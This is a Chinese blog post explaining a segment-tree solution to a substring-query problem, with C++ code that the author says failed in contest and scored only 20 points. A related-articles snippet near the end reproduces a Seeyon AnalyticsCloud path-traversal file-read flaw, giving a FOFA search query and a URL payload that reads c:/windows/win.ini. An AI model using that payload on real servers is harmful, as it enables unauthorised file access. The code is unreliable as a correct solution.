录取查询

news/2024/11/16 13:55:26/文章来源:https://www.cnblogs.com/zhengchenxi/p/18327854

这道题赛时是想出来了,但是线段树出锅了,只得了20分。
首先根据题目我们可以得出,一个序列要是为T的子串,就必须满足以下三个条件。

1.该序列单调不降。如 ba肯定是不合法的。
2.该序列除去开头和结尾的字母,其他字母的数量必须为整个序列全部的该字母数量。
如 abbcba 选择 abbc a和c不用管,序列中只出现了一次b,而整个序列有2个b,故所选序列是不合法的。

3.在满足单调不降的条件下,相邻两个字母的之间不能出现还有字母按字典序排列位于他俩之间。
如 acb 选取ac这个序列,很明显是满足前两个条件,但它是不合法的。

好,明白这些,我们再想如何用线段树来维护,关于单调不降,我们可以想到之前所做的山海经,我们可以维护一个左边界和右边界,再维护一个vis标记,表示该区间是否合法。
只有在满足左区间和右区间同时合法并且左区间的有边界要小于右区间的左边界时才合法(这算是最难维护的一点)。
剩下两个都比较好说,直接遍历一遍26个字母即可。

点击查看代码
#include<bits/stdc++.h>
using namespace std;const int N=3e5+100;
int n,q;
char s[N];
int cnt[N];
#define lson (rt<<1)
#define rson (rt<<1|1)
struct lmy
{int l,r;int vis;int ls,rs;int cnt[30];
}tr[N<<2];void pushup(int rt)
{for(int i=0;i<=26;i++) tr[rt].cnt[i]=tr[lson].cnt[i]+tr[rson].cnt[i];if(tr[lson].rs<=tr[rson].ls&&tr[lson].vis&&tr[rson].vis) tr[rt].vis=1;else tr[rt].vis=0;tr[rt].ls=tr[lson].ls; tr[rt].rs=tr[rson].rs;
}void build(int rt,int l,int r)
{tr[rt].l=l;tr[rt].r=r;if(l==r){tr[rt].cnt[s[l]-'a']++;tr[rt].ls=tr[rt].rs=s[l]-'a';tr[rt].vis=1;return ;}int mid=(l+r)>>1;build(lson,l,mid); build(rson,mid+1,r);pushup(rt);
}void update(int rt,int x,char ch)
{if(tr[rt].l==tr[rt].r){tr[rt].cnt[s[x]-'a']--;s[x]=ch;tr[rt].cnt[s[x]-'a']++;tr[rt].ls=tr[rt].rs=s[x]-'a';return ;}int mid=(tr[rt].l+tr[rt].r)>>1;if(x<=mid) update(lson,x,ch);else update(rson,x,ch);pushup(rt);
}
lmy query(int rt,int l,int r)
{if(l<=tr[rt].l&&tr[rt].r<=r){return tr[rt];}int mid=(tr[rt].l+tr[rt].r)>>1;lmy a,b,c;if(l<=mid&&r<=mid) return a=query(lson,l,r);if(r>mid&&l>mid) return b=query(rson,l,r);if(l<=mid&&r>mid){a=query(lson,l,r);b=query(rson,l,r); if(a.rs<=b.ls&&a.vis&&b.vis) c.vis=1;else c.vis=0;for(int i=0;i<=26;i++) {c.cnt[i]=a.cnt[i]+b.cnt[i];}c.rs=b.rs;c.ls=a.ls;return c;	}}int main()
{
//	freopen("in.in","r",stdin);
//	freopen("0.out","w",stdout);scanf("%d",&n);scanf("%s",s+1);for(int i=1;i<=n;i++){cnt[s[i]-'a']++;}build(1,1,n);scanf("%d",&q);for(int i=1;i<=q;i++){int op;scanf("%d",&op);if(op==1){int x;char ch;scanf("%d %c",&x,&ch);cnt[s[x]-'a']--;update(1,x,ch);cnt[s[x]-'a']++;}else{int l,r;scanf("%d%d",&l,&r);lmy a=query(1,l,r);int flag=a.vis;int i=0;int last=26;while(i<=26){if(a.cnt[i]){for(int j=last+1;j<i;j++){if(cnt[j]!=0) flag=0;}last=i;if(i==s[l]-'a'||i==s[r]-'a'){i++;continue;} else if(cnt[i]!=a.cnt[i]) {flag=0;} }i++;}if(flag) printf("Yes\n");else printf("No\n");}}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/772885.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NaplesPU或NPU技术开发文档合成全部(修改版)

NaplesPU或NPU技术开发文档合成全部(修改版) http://www.naplespu.com/doc/index.php?title=Main_Page http://www.naplespu.com/ https://github.com/AlessandroCilardo/NaplesPU https://github.com/AlessandroCilardo/NaplesPU-toolchain http://www.naplespu.com/doc/in…

万恶资本主义观赏记录

万恶的资本主义到底如何没有体验过,我需要去体验,6月开始计划,参考了团队游项目,最终决定自由行。 行程从香港Hongkong飞伊斯坦布尔Istanbul,10小时,再飞纽约市New York City,10小时。再坐巴士去费城Philadelphia,一共15天。总结: 美国New York City,Philadelphia在美…

D. The Omnipotent Monster Killer

D. The Omnipotent Monster Killer题目大意: 有一棵树,树节点数不超过\(310^5\),每个节点的权值,定义为数组\(a(a_i<10^{12})\),初始\(sum=0\),每一轮执行如下操作:计算当前剩余所有的点权和,累计到\(sum\)中 任选若干个互不相邻的节点并移除重复这个操作直到树上没…

php 使用swoole 创建websocket服务

下载对应版本的swoole扩展, 我的php版本是7.4, 所以下载的swoole版本为4.8.* 地址如下https://pecl.php.net/package/swoole 通过源码编译安装, 可以参考官方文档https://wiki.swoole.com/zh-cn/#/environment 修改php.ini 开启扩展 extension=swoole.so 重启web服务器 php -m …

Labview笔记

1. 背景 Labview这个软件,从大学到现在,装了卸载,卸载了又装。来来回回不下10次了,那本大学时的教材Labview 2010基础教程,一直没丢,但也一直没看过。最近又装回来了,准备简单的系统性倒腾一下,当是个了解。一些杂项:快捷键:Ctrl+N:创建一个Labview项目 Ctrl+E:切换前…

二值图像

一、 二值图像概念 1. 二值图像含义二值图像(Binary Image)是指将图像上的每一个像素只有两种可能的取值或灰度等级状态,人们经常用黑白、B&W、单色图像表示二值图像。 二值图像是指在图像中,灰度等级只有两种,也就是说,图像中的任何像素点的灰度值均为0或者255,分别…

17、flask-图书简单馆项目

为了掌握模型可以练一下、以下是代码: app.py from App import create_appapp = create_app()if __name__ == __main__:app.run(debug=True)views.py from flask import Blueprint, render_template from datetime import datetime from .models import *#创建蓝图(路由) bl…

全网最适合入门的面向对象编程教程:25 类和对象的Python实现-Python判断输入数据类型

本文主要介绍了在使用Python面向对象编程时,如何使用type函数、isinstance函数和正则表达式三种方法判断用户输入数据类型,并对相关语法进行介绍。全网最适合入门的面向对象编程教程:25 类和对象的 Python 实现-Python 判断输入数据类型摘要: 本文主要介绍了在使用 Python …

[数据结构] 堆与堆排序

本文介绍了堆这种数据结构的性质,以及堆排序算法,最后介绍了堆的相关应用场景。这篇文章使用 JavaScript 语言进行相关代码的编写。数据结构——堆 heap 基本概念与性质 堆是一颗完全二叉树,根据父子节点之间值的大小关系可以分为:大根堆:每一个节点的值 大于或等于 其子节…

详解 Hough 变换(基本原理与直线检测)

Hough 变换原理与应用前言: 详细介绍了 Hough 变换的基本思想、基本原理和应用等。其中大多都是自己的理解,难免有偏差,仅供参考。文章目录Hough 变换原理与应用1. 基本概述1.1 一些基本问题 1.2 以例子说明1.2.1 例子1:直线 y = k x + b y = kx + by=kx+b​​​​​​​ 到…

致远AnalyticsCloud分析云任意文件读取漏洞复现

产品界面图:FOFA:"AnalyticsCloud分析云"GET请求payload即可读取文件内容paylaod: /.%252e/.%252e/c:/windows/win.ini/a/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252…